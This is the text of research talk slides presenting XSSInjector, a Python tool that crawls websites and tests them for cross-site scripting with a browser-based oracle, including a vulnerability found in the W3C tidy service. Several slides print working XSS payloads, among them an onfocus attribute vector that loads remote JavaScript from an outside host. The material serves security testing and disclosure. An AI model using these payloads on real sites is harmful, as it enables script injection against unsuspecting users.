XSSInjector: A tool for Security Testing of XSS Vulnerabilities

Peter Aufner

SBA Research

paufner@sba-research.org
Outline of the Talk

Introduction
Outline of the Talk

Introduction

The Oracles
Outline of the Talk

Introduction

The Oracles

Walkthrough
Outline of the Talk

Introduction

The Oracles

Walkthrough

Real World Testing: W3C
Outline of the Talk

Introduction

The Oracles

Walkthrough

Real World Testing: W3C

Outlook
Motivation

• Need for an efficient tool to test lots of vectors on many parameters

• Previously
  ▶ Manual testing with 'The BURP Suite' and ZAP
    ◦ Both mainly proxies
    ◦ Cumbersome to set up properly

• What does XSSInjector do?
  ▶ Serial processing of attack vectors
  ▶ NO modifications like
    ◦ Fuzzing
    ◦ Mutation testing
What is the XSSInjector?

- Automatic XSS injection utility
- Built-In Crawler
- Injection vectors taken from a list
- HTTP Method capabilities
  - GET
  - POST
- Oracle based testing
  - Old reflection Oracle
  - New browser Oracle
- Written in Python3
Major development steps

- Replacement for manual testing of grammars against WAVSEP
  - Reflection Oracle
  - GET requests only
- Implementation of POST support
  - Important step towards real world usability
- Addition of the crawler
- Switch to the browser oracle
  - GET and POST support
  - Higher accuracy as to what is executable
- Bug fixes during test on W3C
The benefits

- Works on any real website
  - As long as no authentication is required
- No external modification of website necessary
  - i.e. reset to compare states
- Reliably detects stored and reflected XSS
  - If XSS is triggered as part of the response
  - Won’t work if you submit a form that places the XSS somewhere else
- Speed improvement over previously used tools
XSSInjector in 3 steps

• Provide a starting URL to the Crawler
  ▶ Let the crawler index the page
• Check the Crawler’s results
  ▶ add or subtract any item it has found
• Start the XSSInjector
  ▶ With the Crawler’s results
  ▶ And a File containing the attack vectors
• Get the results
• Written from ground up
• Capable of extracting
  ▶ GET Parameters from links
  ▶ POST Parameters from forms
• Produces json files for ease of use and readability
  ▶ Human readable, semi structured files
  ▶ "items": [ { "method": "GET", "parameters": { "userinput": "textvalue" }, "url": "http://satviemobs1:8080/wavsep/active/RXSS-Detection-Evaluation-GET/Case01-Tag2HtmlPageScope.jsp" }, ...

The Oracles

- Reflection Oracle (Old)
  - Used by The BURP Suite and ZAP
  - Value sent as GET or POST parameter
  - Checked if the identical value is found in returned page source
  - Many false positives revealed by:

- Browser Oracle (New)
  - Uses Selenium with phantomjs (headless browser)
  - Successful requests sent to Apache webserver
    - Afterwards checked which requests passed
Reflection Oracle

1 GET http://test/index.html?param=\<script\>alert(1)\</script\>

2 <html>... <script>alert(1)</script> ... </html>

3 Compare Result

XSSInjector

S.U.T.
Browser Oracle

1. GET ...
2. ... var s=document.createElement('script');s.src='http://serv/id1' ...
3. GET http://serv/id1
4. Was id1 requested?

S.U.T.
Walkthrough

• Setup
  ▶ All hosts connected via Gigabit Ethernet on a local network
  ▶ S.U.T.
    ◦ Wavsep:
    ◦ Provides 32 unique S.U.T.s for XSS testing
  ▶ Attacker
    ◦ Crawler and XSSInjector
    ◦ Hosts Oracle Server on local Apache instance
  ▶ Attack vectors
    ◦ Modelled by Combinatorial grammars and generated via Combinatorial Testing
  ▶ Browser Oracle
Crawler

- Input: http://s.u.t/wavsep/active/index-xss.jsp
- Output: list in format:
  ```
  { 
  "method": "GET", 
  "parameters": { 
  "userinput": "textvalue" 
  }, 
  "url": "http://s.u.t/wavsep/active/RXSS-Detection-Evaluation-GET/Case01-Tag2HtmlPageScope.jsp"
  }
  ```
- Runtime: 4 seconds for 158 requests, 70 targets found
• **Input**
  - File generated by Crawler
  - Testvectors: 1162 from a single subgrammar in CT
  - \( \Rightarrow \) 81340 tests

• **Browser Oracle Server running on localhost**

• **Runtime**: 3:20 hours for all tests
### XSSInjector - Output

- **Statistics**

<table>
<thead>
<tr>
<th>url</th>
<th>first Success</th>
<th>Success time</th>
<th>Count</th>
<th>Success Count</th>
<th>Count all vectors</th>
<th>Parameter</th>
<th>time</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://s.u.t/test">http://s.u.t/test</a> 1</td>
<td>1</td>
<td>0.17912507057189941</td>
<td>1161</td>
<td>1161</td>
<td>none</td>
<td>8.328414916992188</td>
<td></td>
</tr>
</tbody>
</table>

- **Single test**

<table>
<thead>
<tr>
<th>url parameter value result</th>
<th>time</th>
<th>overall</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://test/Case01-Tag2HtmlPageScope.jsp">http://test/Case01-Tag2HtmlPageScope.jsp</a> userinput&quot;&quot;&quot;&quot;&gt;&lt;script&gt;var h=document.getElementsByTagName('head')[0];var s=document.createElement('script');s.src='1234';h.appendChild(s);&lt;/script&gt;&quot;&quot;&quot;&quot;</td>
<td>True</td>
<td>0.18012690544128418</td>
</tr>
</tbody>
</table>


Real World Testing: W3C

- World Wide Web Consortium
- Scan of the whole W3C website
- Crawler discovered by Subdomain:
  - www: 122 URLs with multiple parameters
  - Services: 1 URL
  - Validator: 56 URLs with multiple parameters
- No pentest would have brought up anything here, but ...
W3C discovered vulnerability

- Found in tidy
  - Service to validate html
- The following string:
  - " autofocus onfocus="var h=document.getElementsByTagName('head')[0];var s=document.createElement('script');s.src='http://www.sba-research.org/x.js';h.appendChild(s);" a="b"
- Successfully triggered an XSS
  - Because there are no brackets < > used
Output of the W3C Vulnerability

W3C

Tidy your HTML

An error (2/4 error: 403 Access to url "" autofocus onfocus=""var h=document.getElementsByTagName('head')[0];var s=document.createElement('script');s.src='http://www.sba-research.org/x.js';i
trying to get

Address of document to tidy: ____________________

☐ indent

☐ enforce XML well-formedness of the results (may lead to loss of parts of the originating document if too ill-formed)

get tidy results

Stuff used to build this service

- tidy
- xilinx (for enforcing XML well-formedness)
- python, apache, etc.

See also the underlying Python script

script $Revision: 1.22 $ of $Date: 2013-10-21 12:13:33 $ by Dan Connolly

Further developed and maintained by Dominique Heuzet-Mixieux
Future improvements

- Multi threading
  - Up to the level of simultaneous crawling and attacking
- Authentication support
  - Unlocks the full potential for webapps
- Database integration
  - For better statistical analysis of results
  - Input the vectors directly from the database